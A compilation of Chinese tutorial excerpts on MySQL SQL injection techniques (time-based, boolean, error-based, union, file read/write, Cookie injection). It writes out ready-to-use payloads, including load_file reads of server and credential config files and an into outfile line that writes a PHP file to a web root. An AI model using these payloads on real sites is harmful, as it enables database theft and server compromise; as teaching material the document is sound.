SQL注入之基于时间的注入(MySQL)

0x00 特点 当页面存在注入,但是没有显示位且不管怎么测试返回页面都没有变化,此时可以使用基于时间的盲注进行注入。 其实只要存在SQL注入就可以使用基于时间的盲注,利用范围比较广泛,但是可能受到网络带宽等因素的影响。 0x01 利用方式 整型注入的话可以直接: ?id=if(1=1,sleep(2),1) 字符型的话需要闭合: ?id=2' and if(1=1,sleep(2),1) and '1 0x02 相关函数 if(条件, 值1, 值2) 当条件为真时返回值1,条件为假时返回值2 sleep() sleep(2)睡眠两秒 benchmark(count, expr) benchmark是用于测试函数性能的,它是将表达式expr执行count次,执行次数越多耗费时间越久 0x03 基于时间的注入payload mysql> select if((select database()) like "rte%",sleep(2),666); +---------------------------------------------------+ | if((select database()) like "rte%",sleep(2),666) | +---------------------------------------------------+ | 0 | +---------------------------------------------------+ 1 row in set (2.00 sec) mysql> select if((select database())="rteaaa",sleep(2),666); +-----------------------------------------------+ | if((select database())="rtest1",sleep(2),666) | +-----------------------------------------------+ | 666 | +-----------------------------------------------+ 1 row in set (0.


SQL注入之布尔型注入(MySQL)

0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x01 利用方式 用and连接前后语句:www.xxx.com/aa.php?id=1 and (注入语句) --+ 根据返回页面是否相同来得到数据 0x02 注入步骤 找到注入点,判断闭合字符 尝试猜解列数,得到显示位 得到数据库名 最终得到第五个数据库名为security 得到表名 最终依次猜的表名为users 得到列名 同理最终得到第2列列名为username,第3列列名为password 得到列值 依次得到为admin4,同理可得其他数据 0x04 附上python脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- # code by reber <1070018473@qq.com> __author__="reber" import sys import requests import binascii import hashlib from pyfiglet import figlet_format from optparse import OptionParser def get_md5_html(url): html = requests.


SQL注入之报错型注入(MySQL)

0x00 前提 一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用, 它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解 0x01 利用方式 报错注入只要套用公式即可,如下(第一个公式count(*)、floor()、rand()、group by不可或缺,后两个公式有32位的限制): ?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+ ?id=2’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+ ?id=1’ and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+ 第一个公式具体原理可以参考:MySQL报错注入原理分析(count()、rand()、group by) 0x02 公式解析 floor()是取整数 rand()在0和1之间产生一个随机数 rand(0)*2将取0到2的随机数 floor(rand()*2)有两条记录就会报错 floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的 count(*)是用来统计结果的,相当于刷新一次结果 group by对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(*)加1 group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次 0x03 注入步骤 猜测闭合字符 猜测列数 尝试得到显示位 报错得到数据库个数 报错得到数据库名 报错得到表名 报错得到列名 得到列值 0x04 附上利用代码 #!


SQL注入之联合查询(MySQL)

0x00 前提 要用联合查询进行注入则:页面必须有显示位 0x01 联合查询 union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同 0x02 注入步骤 找到注入点得到闭合字符 判断数据库类型 猜解列数,得到显示位(从数据库中查询出来的数据有些会显示在页面中,显示的位置就是显示位) 得到基本信息(数据库名、版本、数据库版本等) 得到数据库 得到security数据库的表名 猜解列名 猜解数据


SQL注入之load_file和into outfile(MySQL)

0x00 load_file() 条件: 1. 要有file_priv权限 2. 知道文件绝对路径 3. 能使用union 4. 对web目录有读权限 注:若过滤了单引号,则可以将函数中的字符进行hex编码 一般步骤 读/etc/init.d下的东西,这里有配置文件路径 ?id=1' union select 1,2,load_file('/etc/init.d/httpd') 得到web安装路径 ?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf') 读取密码文件 ?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php') 0x01 into outfile 条件: 1. 要有file_priv权限 2. 知道网站绝对路径 3. 要能用union 4. 对web目录有写权限 5. 没有过滤单引号 一般方法 当知道路径时,可以直接用 id=1 union select "<? phpinfo();>" into outfile("C:/phpStudy/WWW/a.php") 或者 id=1 into outfile 'C:/phpStudy/WWW/a.


SQL注入

0x00 含义 sql注入是将代码插入(拼接)到应用(用户)的输入参数中,之后再将这些参数传递给后台的SQL服务器加以解析并执行的攻击, 总结起来就是攻击者将恶意代码拼接到sql语句并加以执行从而得到数据的过程。 0x01 成因 SQl语句未对用户参数进行严格过滤 0x02 可引发注入的地方 其实只要是客户端可控、参数值代入数据库查询的地方都可能存在注入,常见的如下,按出现频率排序: GET POST X-Forwarded-For Cookie User-Agent 0x03 注入分类 根据语法(较权威) UNION query SQL injection(可联合查询注入) 只要页面有显示位即可使用,且注入速度很快 Error-based SQL injection(报错型注入) 没有显示位但用echo “mysql_error()“输出了错误信息,速度很快,但是语句较复杂 Boolean-based blind SQL injection(布尔型注入) 一次一个字节,速度慢,但只要有注入就能用 Time-based blind SQL injection(基于时间延迟注入) 超级慢,比布尔型注入慢几倍,但是通用性较强 Stacked queries SQL injection(堆叠注入) 只有SQL Server可以使用(可多语句查询注入) 根据类型 整形 形如"a.asp?ID=55",这类注入的参数是”数字”,因此称为”数字型注入点”。 字符串型 形如"b.asp?name=xiaoming"这类注入的参数是”字符”,称为”字符型”注入点。 搜索型 指在进行数据搜索时没过滤搜索参数,直接通过搜索框表单提交。 0x04 查找注入点 在URL中 and 1=1/and 1=2(整型) 随即输入(整型) -1/+1 回显上下页面(整型) 单引号(字符型/整型) and sleep(5) (判断页面返回时间) 在http头


ASP联合注入(Cookie处)

0x00 Cookie注入的使用 三大Web提交方式 GET:直接在浏览器上面访问地址 POST:提交表单(会员注册、文件上传等) COOKIE:访问网站下面自带的身份验证的值 Cookie注入利用时机 当用普通注入时,采用and 1=1时出现错误提示(如下图),普通的注入就没办法了,可以尝试大小写,编码等绕过,若过滤严谨,无法绕过,这时就可以采用cookie注入。 利用方法 可以利用注入中转 可以利用sqlmap 0x01 用注入中转进行Cookie注入 目标:http://localhost:81/2/shownews.asp?id=183 打开注入中转这个工具,填入相应参数,然后点击生成ASP,将生成的asp文件(jmCook.asp)放入你自己搭建的网站内后即可进行注入 提交localhost:81/jmCook.asp?jmdcw=183 order by猜测字段数 提交localhost:81/jmCook.asp?jmdcw=183 UNION SELECT 1,2,3,4 from XXX猜测表名 猜测内容 0x02 用sqlmap进行Cookie注入 sqlmap验证存在Cookie注入 猜表名 猜列名 猜字段内容



可以返回顶部